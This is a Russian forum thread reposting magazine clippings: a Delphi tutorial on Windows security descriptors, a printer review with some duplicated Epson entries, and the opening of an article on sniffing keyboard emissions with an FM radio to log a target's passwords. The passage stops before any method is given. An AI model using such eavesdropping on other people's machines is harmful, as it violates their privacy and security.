Здравствуйте, гость ( Вход | Регистрация )



Гостевой доступ к форуму из Москвы: Телефоны: +7(495)7859696,7376201,7376233,7868796,7390241 Login: demo Password: demo
5 страниц V < 1 2 3 4 5 >  
ОтветитьСоздать новую тему
> Журнал Хакер, Отдельные вырезки
Metallica
сообщение Nov 22 2006, 12:32
Сообщение #41


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Железобетонные объектыhttp://www.vr-online.ru

Дескрипторы и идентификаторы безопасности

Очень часто, программно создавая объекты, мы не задумываемся о безопасности, оставляя ее параметры на усмотрение ОС. Но ведь управление правами доступа не такая уж и сложная операция и требует всего нескольких лишних строчек кода и понимания работы соответствующих функций. Знание функций управления доступом может пригодиться не только при создании объектов, поэтому сегодня мы решили рассказать тебе про SID, Security Attributes, Security Descriptor и обо всем, что связано с этими понятиями.

Атрибуты безопасности

Начнем рассмотрение темы с самого конца, а именно – с функции создания файла или директории. У обеих функций есть одинаковый параметр – указатель на структуру SECURITY_ATTRIBUTES. У функции CreateFile этот указатель четвертый по счету, а у CreateDirectory – второй. Как я уже сказал, в большинстве случаев это поле просто игнорируют, но давайте посмотрим, как его можно корректно заполнить.

Что это за структура? Она определяет атрибуты безопасности и состоит всего из трех полей:

КОД

PSecurityAttributes = ^TSecurityAttributes;

_SECURITY_ATTRIBUTES = record

nLength: DWORD;

lpSecurityDescriptor: Pointer;

bInheritHandle: BOOL;

end;

Первое поле определяет размер структуры. Подобные поля можно встретить в большинстве WinAPI-структур. Второе поле – указатель на дескриптор безопасности. Третий параметр – булевое значение, которое определяет, может ли полученный указатель наследоваться дочерними процессами. Наследование дескрипторов нас не интересует и выходит за рамки этой статьи, поэтому в примере, который мы будем рассматривать, установим это значение в false.

Самое интересное — это второй параметр, на котором следует заострить особое внимание. Это указатель на дескриптор безопасности, который на самом деле ничего страшного собой не представляет.

Дескриптор безопасности

Для каждого объекта ОС создает дескриптор безопасности, по которому определяется права доступа к объекту, его владелец, группа, а также списки SACL (System Access Control List) и DACL (Discretionary Access Control List). Мы рассматриваем программирование, поэтому сделаем упор на рассмотрение самих функций. Если тебя интересует теория безопасности ОС Windows, то следует почитать книжку из серии для админов. Я думаю, там должна быть освещена эта тема.

Итак, давай посмотрим, что такое дескриптор, с точки зрения программирования. На самом деле, это структура, которая имеет следующий вид:

КОД

PSecurityDescriptor = ^TSecurityDescriptor;

_SECURITY_DESCRIPTOR = record

Revision: Byte;

Sbz1: Byte;

Control: SECURITY_DESCRIPTOR_CONTROL;

Owner: PSID;

Group: PSID;

Sacl: PACL;

Dacl: PACL;

end;

В файле помощи эта структура описана только общими словами. Из чего она состоит, можно определить только по заголовочному файлу windows.pas.

Давай рассмотрим, что представляют собой эти поля. Это позволит нам лучше понять дескриптор и его работу.

Revision – ревизия. Этот параметр должен быть равен единице, а лучше использовать константу SECURITY_DESCRIPTOR_REVISION. На одном из сайтов (не российских, потому что в рунете я нормального описания этой темы не видел) утверждается, что можно указывать еще константу SECURITY_DESCRIPTOR_REVISION1 — мол, она предоставляет доступ к новым возможностям. Уверяю тебя, что это полный бред, потому что обе константы в файле windows.pas равны 1, то есть идентичны

Sbz1 – этот параметр не используется и должен быть равен нулю (предназначен только для выравнивания).

Control – это поле имеет тип данных Word и содержит флаги.

Owner – идентификатор безопасности SID владельца.

Group – идентификатор безопасности SID группы.

SAcl – указатель на SACL;

DAcl – указатель на DACL;

Работа с дескриптором

Несмотря на то, что дескриптор безопасности легко описать в виде структуры, работать с ним напрямую не рекомендуется. Наверное, поэтому его не описывают в файле справки. Почему нежелателен прямой доступ к полям? Дело в том, что дескриптор может хранить данные непосредственно, а может просто содержать указатель на данные.

Вместо прямого доступа необходимо использовать специализированные функции. Этих функций предостаточно, но мы остановимся на трех из них: инициализация, установка владельца объекта и установка группы. Да, данной структуре необходима инициализация, ведь она может хранить указатели на данные, а любой указатель требует выделения памяти.

Для инициализации дескриптора безопасности используем WinAPI-функцию

initializeSecurityDescriptor, которая выглядит следующим образом:

КОД

function InitializeSecurityDescriptor(

pSecurityDescriptor: PSecurityDescriptor;

dwRevision: DWORD

): BOOL; stdcall;

Тут у нас два параметра: указатель на дескриптор безопасности, который нужно инициализировать и номер ревизии. Как мы уже выяснили, ревизия должна быть равна константе SECURITY_DESCRIPTOR_REVISION.

Чтобы установить владельца, используется функция SetSecurityDescriptorOwner, которая выглядит следующим образом:

КОД

function SetSecurityDescriptorOwner(

pSecurityDescriptor: PSecurityDescriptor;

pOwner: PSID;

bOwnerDefaulted: BOOL

): BOOL; stdcall;

Тут три параметра:

- дескриптор, владельца объекта которого нужно изменить;

- указатель на SID пользователя, которого мы хотим установить в качестве владельца;

- нужно ли использовать владельца по умолчанию. Если этот параметр равен true, то владельца назначит ОС в соответствии со своими правилами. А правило простое: создатель становится и владельцем.

Для установки группы используем функцию SetSecurityDescriptorGroup, которая выглядит так:

КОД

function SetSecurityDescriptorGroup(

pSecurityDescriptor: PSecurityDescriptor;

pGroup: PSID;

bGroupDefaulted: BOOL

): BOOL; stdcall;

Функция очень похожа на установку владельца. Тут у нас опять три параметра, которые имеют схожее с функцией SetSecurityDescriptorOwner назначение:

- дескриптор, группу объекта которого нужно изменить;

- указатель на SID группы, которую мы хотим установить в качестве владельца;

- нужно ли использовать группу по умолчанию, то есть понадеяться на ОС.

SID

Списки доступа SACL и DACL пока опустим и не будем с ними заморачиваться, так как это тема отдельной статьи. Сейчас нас интересуют владелец и группа, но, чтобы их установить, необходимо знать соответствующий SID. Да, мы всегда можем использовать значение по умолчанию, которое предоставляет ОС, но определить SID не так уж и сложно. Для этого нужна всего одна функция – LookupAccountName, которая по имени пользователя возвращает идентификатор безопасности SID.

В общем виде функция выглядит следующим образом:

КОД

function LookupAccountName(

lpSystemName,

lpAccountName: PChar;

Sid: PSID;

var cbSid: DWORD;

ReferencedDomainName: PChar;

var cbReferencedDomainName: DWORD;

var peUse: SID_NAME_USE

): BOOL; stdcall;

Давай рассмотрим параметры этой функции:

lpSystemName – имя системы. Если этот параметр нулевой, то мы ищем локального пользователя, если нужен SID удаленного пользователя, то необходимо указать здесь имя этой машины;

lpAccountName – имя пользователя, идентификатор которого нам нужен;

Sid – указатель на память, куда будет записан результат;

cbSid – длина буфера, которую мы выделили для параметра Sid, то есть для хранения результирующего идентификатора;

ReferencedDomainName – имя домена;

cbReferencedDomainName – длина буфера ReferencedDomainName;

peUse – переменная типа enum, которая определяет тип учетной записи. Здесь может быть одно из следующих значений:

- SidTypeUser – пользовательский SID;

- SidTypeGroup – SID группы;

- SidTypeDomain - SID доменной учетной записи;

- SidTypeAlias – псевдоним;

- SidTypeDeletedAccount - удаленная учетная запись;

- SidTypeInvalid – некорректный тип;

- SidTypeUnknown – тип неизвестен;

- SidTypeComputer – идентификатор компьютера.

Что такое SID?

Что такое SID хорошо иллюстрирует заголовочный файл windows.pas. Запускаем поиск по трем магическим буквам (нет, не по тем буквам, которые пишутся на заборе, а по SID) и натыкаемся на табличку, которую ты можешь увидеть где-то рядом с этим текстом.

Нетрудно догадаться, что на самом деле SID - это структура, которая состоит из:

SubAuthorityCount – количество записей SubAuthority;

Revision – версия, в ней используются только четыре бита, остальные зарезервированы;

IdentifierAuthority – структура, которая хранит идентификатор SID;

SubAuthority – массив относительных идентификаторов;

Структура IdentifierAuthority имеет следующий вид:

_SID_IDENTIFIER_AUTHORITY = record

Value: array[0..5] of Byte;

end;

Банальный массив из пяти байт.

Прямая работа с SID нежелательна. Для манипулирования этой структурой в WinAPI есть все необходимые функции — лучше использовать их. Но это уже отдельная история, а я итак уже не укладываюсь во временные и объемные рамки.

Определение SID

Обрати внимание, что функции LookupAccountName, которую мы только что рассмотрели, необходимо передать указатель на память для хранения идентификатора SID и указать размер. Проблема в том, что нет четко определенного размера идентификатора. Сколько же тогда памяти выделять для хранения результата?

Это легко определить. Достаточно вызвать функцию LookupAccountName, указав в качестве указателя на буфер для хранения SID и в качестве размера буфера нулевое значение. В результате функция вернет ошибку и сообщит, что недостаточно памяти в буфере. А через параметры cbSid и cbReferencedDomainName вернет нам корректные значения необходимых буферов. Теперь мы знаем все необходимое.

Пример

Теперь посмотрим, как можно использовать все вышесказанное на практике. Для этого я создал банальную форму с одной только кнопкой, по нажатию которой необходимо написать код из листинга 1. Код снабжен комментариями, а все используемые функции мы уже подробно рассмотрели, поэтому с их пониманием не должно возникнуть проблем.

Данный пример создает файл, а, чтобы создать файл с использованием дескриптора безопасности, можно заменить последнюю строку с вызовом функции CreateFile на:

CreateDirectory('c:\Directoryname', @securityAttributes);

Итого

Тема безопасности Windows и работы с ее списками и идентификаторами очень интересная, и, возможно, мы еще вернемся к этой теме в ближайшее время и расскажем тебе что-то новое. На этом могу только откланяться. Удачного кодинга!

Создание объектов с явным заданием владельца и группы

procedure TForm1.Button1Click(Sender: TObject);

var

securityAttributes: TSecurityAttributes;

securityDescriptor: TSecurityDescriptor;

sidLength, sidLengthDomain: Cardinal;

sidType: SID_NAME_USE;

sidValue: PSID;

domain:PChar;

begin

// Обнуляем длину буферов, чтобы определить корректный размер

sidLength := 0;

sidLengthDomain := 0;

// Первый вызов завершиться ошибкой, но вернет размер данных

LookupAccountName(nil, 'flenov', nil, sidLength, nil, sidLengthDomain, sidType);

// Выделяем память для идентификатора имени и домена

sidValue := AllocMem(sidLength);

domain := AllocMem(sidLengthDomain);

// На этот раз мы определим SID

if (LookupAccountName(nil, 'flenov', sidValue, sidLength, domain, sidLengthDomain, sidType)=false) then

exit;

// Инициализация дескриптора

InitializeSecurityDescriptor(@securityDescriptor, SECURITY_DESCRIPTOR_REVISION);

// Устанавливаем полученный SID владельцу и группе

SetSecurityDescriptorOwner(@securityDescriptor, sidValue, false);

SetSecurityDescriptorGroup(@securityDescriptor, nil, true);

securityAttributes.nLength := sizeof(securityAttributes);

securityAttributes.lpSecurityDescriptor := @securityDescriptor;

securityAttributes.bInheritHandle:=false;

// Создаем файл на основе своего дескриптора безопасности

CreateFile('e:\test.txt', GENERIC_ALL, 0, @securityAttributes,

CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, 0);

end;




--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 23 2006, 11:44
Сообщение #42


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Печатные машинки

Бюджетные принтеры для дома

test_lab выражает благодарность за предоставленное оборудование российским представительствам компаний HP, Canon, Lexmark и Epson.

Список тестируемого оборудования:

Lexmark Z735

Lexmark P915

Canon Pixma IP1600

Canon Pixma IP2200

Canon Pixma IP4200

Epson С48

Epson С67

Epson Stylus C67 Photo Edition

HP Deskjet 3940

HP Deskjet 5443

HP Deskjet 5943

Закончилась сессия, а с ней и многие вещи, которые требовали вмешательства принтера: печать курсовых, рефератов, докладов и прочих составляющих насыщенной студенческой жизни. Вроде бы, печатающие головки могут отдохнуть от расставания с чернилами, а каретка, уставшая бегать туда-сюда, тоже имеет право на временную передышку. Но не тут-то было! Скоро осень, которая принесет с собой пересдачу «хвостов», новый семестр, требующий «аккуратного оформления работ» и так далее. Но и летом, в неучебную пору, принтеру может найтись работенка: распечатать какой-нибудь документ, схему, слайд или диаграмму, но чаще — фотки с последней попойки.

Хочется иметь устройство, которое бы круглый год радовало хорошим качеством отпечатков. Сегодня мы протестировали доступные универсальные принтеры, которые подходят для всех типичных домашних задач, возникающих обычно у школьников, студентов и их родителей. Эти устройства качественные, надежные, недорогие, пригодны даже для печати фотографий.

Методика тестирования

Вначале на каждом принтере выводилась его собственная тестовая страница. Для проверки базовых функций печати нами использовалась специальная тестовая страница, состоящая из наиболее часто встречающихся элементов: текста (разного размера, толщины и наклона), таблицы, диаграммы и картинки. Эта страница выводилась при помощи Microsoft Word на дефолтных настройках качества на обычной бумаге. Большинство принтеров нашего обзора были оснащены фотокартриджами. Тестовая фотография (размер стандартный (10х15), человек — на переднем плане, ночная улица — на заднем, много ярких цветов для проверки естественности цветопередачи) распечатывалась на фотобумаге из программы ACDSee 8 с выставлением в настройках принтера максимального качества отпечатка. В обоих случаях засекалось время с момента нажатия кнопки Print и до полного завершения процесса печати.

Оценивались качество полученных фоток, четкость, яркость цветов, зернистость и естественность передачи цветов. Мы также обращали внимание и на удобство работы с ними (механизм подачи, замена картриджа, возможности ПО и так далее).

Lexmark Z735

7 баллов

Цена, $: 60

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 15

Максимальная скорость монохромной печати, стр\мин: 15

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 157x377x224

Вес, кг: 2,3

Очень простое и компактное устройство, которое не займет много места на столе и хорошо справится с несложными домашними задачами. Сам по себе принтер очень прост – на нем имеются всего две кнопки управления: включение питания и выдача бумаги. Кстати, ею в процессе тестирования пользоваться не приходилось: бумага подавалась ровно и не мялась на выходе. С принтером поставляется удобное и несложное фирменное ПО, предназначенное для работы с изображениями. Тестовая страница распечаталась довольно быстро (43 с). Фотография получилась на удивление качественной.

Хотя и печаталась долго (2,5 мин.). «На удивление» – потому что этот принтер не поддерживает фотопечать и во всех задачах обходится одним картриджем. В общем, это удобно. Как уже говорилось выше, тестовая страница распечаталась быстро, но это оказалось единственным достоинством, которое принтер показал в данном испытании. Картинка на ней была блеклой, текст был не черного, а какого-то болотно-зеленого цвета. Четкость — ниже средней.

Lexmark P915

9 баллов

Цена, $: 120

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 15

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 100

Дополнительно: поддержка интерфейса PictBridge, ЖК-экран, автономная печать с карт памяти форматов CompactFlash I/II, Memory Stick, Multi Media, Secure Digital, SmartMedia, Microdrive, xD

Интерфейс: USB

Габариты, мм: 150x428x237

Вес, кг: 3,5

Гораздо более функциональная модель. Lexmark P915 оснащен фотокартриджем, что существенно повышает его возможности и качество отпечатков. Кроме того, работа с фотографиями может осуществляться и автономно, без ПК – через интерфейс PictBridge или с помощью карт памяти. Посредством встроенного ЖК-экрана можно легко управлять настройками устройства, а также просматривать и редактировать фотографии. Тут, несмотря на простоту и удобство меню, пригодится полная русификация принтера: от драйверов (которые, как и у предыдущего устройства, дублируют голосом экранные сообщения) до надписей на корпусе. Тестовая страница распечаталась четко и качественно, правда, не за рекордное время (1 минута и 9 секунд). Работа над фотографией заняла минуту и 20 секунд. Качество приемлемое, хотя задний план мог бы быть пропечатан четче, а цвета — понасыщеннее. При работе наблюдался неприятный момент: довольно часто страницы и фотографии печатались не полностью, наполовину или на треть. Решалась проблема сама собой: путем несколько раз повторенного задания на печать. Возможно, проблема решится обновлением драйверов.

Canon PIXMA iP1600

6 баллов

Цена, $: 75

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 16

Максимальная скорость монохромной печати, стр\мин: 19

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 435x249x165

Вес, кг: 2,9

Еще один очень простой в освоении и обращении принтер. Имеет всего пару управляющих клавиш: для включения питания и выдачи застрявшего бумажного листа. Что очень понравилось в этой модели, так это скорость ее работы. Тестовая страница была распечатана за каких-то 25 секунд. Причем качество текста, таблицы и диаграммы не вызывает нареканий: все четкое и читабельное. В общем, для школьника-студента, который ищет приемлемую по цене модель для распечатки рефератов – самое то.
А вот качество фотографий в обоих тестах оказалось низким. На тестовой странице цвета были не очень насыщенными. Фотография не выдерживает вообще никакой критики – по всей распечатке проходят широкие горизонтальные полосы. Хотя основное преимущество модели сохранено и тут: печать фотографии отняла всего 45 секунд. Это даже меньше, чем указано на наклейке!

Canon PIXMA iP2200

7 баллов

Цена, $: 110

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 17

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 435x263x165

Вес, кг: 2,9

Более производительная модификация предыдущей модели, обладающая к тому же более высоким качеством печати. Дизайн этих принтеров абсолютно идентичен, разве что Canon PIXMA iP2200 чуть больше, хотя это и незаметно. Набор прилагаемого программного обеспечения также одинаков, так как драйвера унифицированы вместе с утилитами. Зато основной козырь iP1600 тут сохранился и даже улучшился – скорость печати очень высока. Тестовая страница была выдана за 23 секунды, причем качество текста осталось столь же высоким, а качество картинки несколько выросло: она стала более четкой, насыщенной и естественной. Кардинально улучшился отпечаток на фотобумаге – теперь никаких полос нет и в помине. В общем, очень грамотно усовершенствованная базовая модель.

К сожалению, все проблемы не решены. И дело тут опять в картинках: по сравнению с отпечатками, сделанными другими моделями, качество цветопередачи явно ниже. Поэтому мы рекомендуем обе эти модели тем, кто печатает фотки редко.

Canon Pixma IP4200 (Выбор редакции)

9 баллов

Цена, $: 130

Максимальное разрешение, dpi: 9600 х 2400

Максимальная скорость цветной печати, стр\мин: 10

Максимальная скорость монохромной печати, стр\мин: 15

Емкость лотка для бумаги, шт: 100

Дополнительно: DirectPrint, PictBridge, печать на CD и DVD

Интерфейс: USB

Габариты, мм: 419x299x160

Вес, кг: 6,5

Довольно большое по размерам, но в то же время очень функциональное устройство. Помимо того, что оно быстро и очень качественно распечатало нашу тестовую страницу (23 с.) и фотографию (25 с.), в его активе есть возможность печати на оптических носителях, а также прямая печать с камер и фотоаппаратов (интерфейс PictBridge). Не стоит также забывать и про два лотка подачи бумаги и встроенное устройство для автоматической двусторонней печати – теперь тебе не придется вручную переворачивать и перекладывать странички. Компания Canon призывает использовать для печати только свои картриджи и бумагу – в этом случае, благодаря специальным технологиям, нас поразит качество отпечатков и долговечность их хранения. Как уже было сказано выше, качество отпечатков отличное, никаких нареканий оно не вызывает. В общем, это хорошее и универсальное устройство.

Цена немного выше, чем у остальных устройств из обзора. Так же, как и габариты изделия.

Epson Stylus C48

6 баллов

Цена, $: 90

Максимальное разрешение, dpi: 2880x720

Максимальная скорость цветной печати, стр\мин: 6

Максимальная скорость монохромной печати, стр\мин: 12

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 419x203x167,4

Вес, кг: 3

Epson Stylus C48 прост в обращении и имеет в комплекте поставки утилиты, облегчающие печать изображений. Хотя, основной его талант – это распечатка текстовых материалов. С тестовой страницей он справился удовлетворительно, особенно с таблицей и диаграммой — они получились яркие и четкие. С текстом дело обстоит немного хуже, но в общем он довольно неплох.

Только самый маленький шрифт несколько размыт. С фотографиями хуже: цвета передаются неестественно. При печати фотки заметны горизонтальные полосы. Но происходит распечатка всего за 48 секунд. Стоит обратить особое внимание на настройки качества печати: уровень «тест+графика» (при котором мы и работали) выдает неплохой результат, но занимает этот процесс 3 минуты 30 секунд – именно столько печаталась тестовая страница. А на уровне качества «текст» работать почти невозможно: буквы размытые и нечеткие, видны непропечатанные полосы.

Epson Stylus C67 Photo Edition

8 баллов

Цена, $: 110

Максимальное разрешение, dpi: 5760x1440

Максимальная скорость цветной печати, стр\мин: 10

Максимальная скорость монохромной печати, стр\мин: 17

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 447x240x195

Вес, кг: 4

Более совершенная модель от компании Epson, полностью оправдывающая свою приставку к названию – Photo Edition. Напечатав тестовую страницу за минуту и 55 секунд, он воспроизвел находящуюся на ней графическую информацию одним из лучших в обзоре – все цвета были естественными, насыщенными и яркими. С текстом тоже проблем не наблюдалось: четкий и совершенно читабельный, полное отсутствие артефактов. Но по-настоящему этот принтер проявил себя, когда добрался до фотографии на специальной бумаге. Во-первых, он справился с задачей всего за 45 секунд. Во-вторых, за это время была напечатана очень качественная фотография, на которой нам понравилась естественность цветопередачи.

К недостаткам обоих принтеров Epson, помимо уже написанного выше, нужно отнести их дизайн и темную расцветку корпусов, что вкупе делает принтеры оптически более громоздкими. Понятно, что для дома это не самое лучшее. Также стоит отметить повышенную зависимость качества изображения от настроек драйверов. Данная особенность была замечена только у этих принтеров. Для дома чем проще, тем лучше.

Epson С87

7 баллов

Цена, $: 90

Максимальное разрешение, dpi: 5760x1440

Максимальная скорость цветной печати, стр\мин: 12

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 120

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB, EPP

Габариты, мм: 460х242х198

Epson Stylus C48

6 баллов

Цена, $: 90

Максимальное разрешение, dpi: 2880x720

Максимальная скорость цветной печати, стр\мин: 6

Максимальная скорость монохромной печати, стр\мин: 12

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 419x203x167,4

Вес, кг: 3

Epson Stylus C48 прост в обращении и имеет в комплекте поставки утилиты, облегчающие печать изображений. Хотя, основной его талант – это распечатка текстовых материалов. С тестовой страницей он справился удовлетворительно, особенно с таблицей и диаграммой — они получились яркие и четкие. С текстом дело обстоит немного хуже, но в общем он довольно неплох.

Только самый маленький шрифт несколько размыт. С фотографиями хуже: цвета передаются неестественно. При печати фотки заметны горизонтальные полосы. Но происходит распечатка всего за 48 секунд. Стоит обратить особое внимание на настройки качества печати: уровень «тест+графика» (при котором мы и работали) выдает неплохой результат, но занимает этот процесс 3 минуты 30 секунд – именно столько печаталась тестовая страница. А на уровне качества «текст» работать почти невозможно: буквы размытые и нечеткие, видны непропечатанные полосы.

Epson Stylus C67 Photo Edition

8 баллов

Цена, $: 110

Максимальное разрешение, dpi: 5760x1440

Максимальная скорость цветной печати, стр\мин: 10

Максимальная скорость монохромной печати, стр\мин: 17

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 447x240x195

Вес, кг: 4

Более совершенная модель от компании Epson, полностью оправдывающая свою приставку к названию – Photo Edition. Напечатав тестовую страницу за минуту и 55 секунд, он воспроизвел находящуюся на ней графическую информацию одним из лучших в обзоре – все цвета были естественными, насыщенными и яркими. С текстом тоже проблем не наблюдалось: четкий и совершенно читабельный, полное отсутствие артефактов. Но по-настоящему этот принтер проявил себя, когда добрался до фотографии на специальной бумаге. Во-первых, он справился с задачей всего за 45 секунд. Во-вторых, за это время была напечатана очень качественная фотография, на которой нам понравилась естественность цветопередачи.

К недостаткам обоих принтеров Epson, помимо уже написанного выше, нужно отнести их дизайн и темную расцветку корпусов, что вкупе делает принтеры оптически более громоздкими. Понятно, что для дома это не самое лучшее. Также стоит отметить повышенную зависимость качества изображения от настроек драйверов. Данная особенность была замечена только у этих принтеров. Для дома чем проще, тем лучше.

Epson С87

7 баллов

Цена, $: 90

Максимальное разрешение, dpi: 5760x1440

Максимальная скорость цветной печати, стр\мин: 12

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 120

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB, EPP

Габариты, мм: 460х242х198


Вес, кг: 4,6

Epson С87 подойдет обладателям как современных, так и довольно древних компов, так как оснащен параллельным портом, чего не скажешь о других моделях теста. Кроме того, в нем есть и современный порт USB, так что с подключением проблем не будет. Тестовая страница была распечатана без каких-либо проблем, с неплохим качеством. Время работы составило 63 секунды. Распечатка фотографии заняла гораздо больше времени, 127 секунд, но к качеству особых претензий также нет, хороший средний уровень. Кроме того, если использовать чернила и бумагу Epson, то нам обещают, что отпечатки не выцветут, не смажутся и не расплывутся.

Габариты довольно велики, а дизайн устройства это только подчеркивает, такая серая громадина может не вписаться в интерьер.

HP Deskjet 3940 (Лучшая покупка)

6 баллов

Цена, $: 55

Максимальное разрешение, dpi: 4800х1200

Максимальная скорость цветной печати, стр\мин: 16

Максимальная скорость монохромной печати, стр\мин: 12

Емкость лотка для бумаги, шт: 80

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 470x197x244

Вес, кг: 2

Компактный и стильный принтер от компании HP, который радует своей простотой, небольшими размерами и удачным дизайном. Он хорошо подойдет для выполнения несложных, типичных задач печати. С тестовой страницей он справился неплохо – по качеству претензий почти нет, скорость вполне приемлемая, 40 секунд. Фотография печаталась полторы минуты. Результат неплохой. Неопытному пользователю понравится минимализм в органах управления – всего одна кнопка Power, и все. Запутаться негде и не в чем. Эффект красных глаз на фото корректируется автоматически.

Единственная проблема – с качеством фотографий. Как на простой бумаге, так и на фото, снимки были несколько невнятными – где-то не очень хорошая цветопередача, где-то видна горизонтальная полоса.

HP DeskJet 5443

7 баллов

Цена, $: 70

Максимальное разрешение, dpi: 4800x1200

Максимальная скорость цветной печати, стр\мин: 20

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 100

Дополнительно: PictBridge

Интерфейс: USB

Габариты, мм: 459x220x169

Вес, кг: 3,5

HP Deskjet 5443 имеет увеличенную скорость печати (30 секунд на тестовую страницу и 80 на фотографию), улучшенную цветопередачу (изображения выглядят более четкими и насыщенными, живыми). В наличии — интерфейс PictBrige для прямой печати с совместимых устройств. В комплект поставки входит все необходимое для работы, включая трехцветный картридж. Если к нему добавить фирменную бумагу, то нам обещают столетнюю сохранность фотографий. Хочешь порадовать детей и внуков своими снимками?

К сожалению, все нововведения несколько увеличили габариты и вес устройства. На некоторых фотографиях проявлялись артефакты.

HP DeskJet 5943

8 баллов

Цена, $: 115

Максимальное разрешение, dpi: 4800x1200

Максимальная скорость цветной печати, стр\мин: 9

Максимальная скорость монохромной печати, стр\мин: 9

Емкость лотка для бумаги, шт: 100

Дополнительно: интерфейс PictBridge, ПО для работы с изображениями в комплекте поставки


Интерфейс: USB

Габариты, мм: 459x220x169

Вес, кг: 3,6

Старшая модель HP в нашем обзоре. От предыдущей отличается исключительно в лучшую сторону. Немного изменен дизайн и расцветка корпуса, в список возможностей добавлен интерфейс PictBridge, так что теперь фотки можно будет распечатывать без участия ПК. Как ни странно, но шум от печати стал еще меньше, нежели у предыдущей модели. «Странно» — потому что и там он уже был почти не слышан. В остальном же модели схожи, на правах старшего данный принтер выдал несколько более качественную фотку и тестовую страницу – четкий текст и яркие естественные цвета присутствуют.

Хотя сделан он это более медленно: тестовая страница отняла у него минуту и 11 секунд, а печать фотки заняла минуту. К сожалению, от недостатков – горизонтальных полос – этот принтер так и не смог избавиться.

Выводы

После того как мы распечатали все, что только можно на этих устройствах, мы можем смело сказать, что их покупка себя оправдывает. Несмотря на скромную цену, они достойно справятся с типичными домашними задачами (правда, кто-то быстрее и качественнее, а кто-то, соответственно, медленнее и похуже). Они даже напечатают неплохие фотки (но в этом случае не стоит рассчитывать на нечто сверхкачественное). «Выбором редакции» становится Canon Pixma IP4200 за свои богатые возможности и качество отпечатков. А «Лучшая покупка» достается HP DeskJet 3940!





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 30 2006, 13:04
Сообщение #43


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Радиоснифер клавиатурыСвежий подход к перехвату набираемого на клавиатуре текста

Такой злостный хакерюга как ты, конечно, не раз общался с программными кейлогерами. Запустил один раз эту программку у неприятеля, и готово: все его пароли и набираемый текст, можно считать, уже у тебя. Однако у этого подхода есть недостаток: нужно каким-то образом запустить софтину на чужом компьютере, что не всегда возможно. Поэтому мы решили сделать элементарный девайс, при помощи которого ты сможешь легко логировать весь набираемый текст, просто подойдя поближе к компу неприятеля.

Суть и методы идеи

Вкратце объясню, о чем пойдет речь. Все токопотребляющие устройства, будь то телевизор, мышь, клавиатура, жесткий диск или кулер, во время работы создают в окружающем пространстве электромагнитное поле. Его возникновение, как известно из курса физики, напрямую связано с током разного напряжения, проходящим по проводам и каналам печатных плат. Величину этих электромагнитных колебаний можно измерить специальными приборами. Поле часто создает помехи в работе радиоприемников, телевизоров и другой техники. Ты, наверное, замечал, что поставленный вблизи телевизора FM-радиоприемник начинает хуже принимать каналы, сигнал в прямом смысле слова «забивается» посторонним излучением. Этот факт натолкнул меня на неплохую мысль: если телевизор засоряет сигнал, который "слушает" радиоприемник, то неплохо бы проверить, как это же сделает клавиатура. Ведь помехи, то есть электромагнитные импульсы, генерируемые ей, принадлежат, согласно справочникам, диапазону от 10 Гц и до 1000 МГц, а этот диапазон и является основным каналом утечки информации из современных ПК. Для работы я вооружился следующими инструментами:

1. Комп со звуковой картой

2. Дешевый китайский радиоприемник Fusun

3. Соединительный шнур для подключения FM-приемника к линейному входу звуковой карты

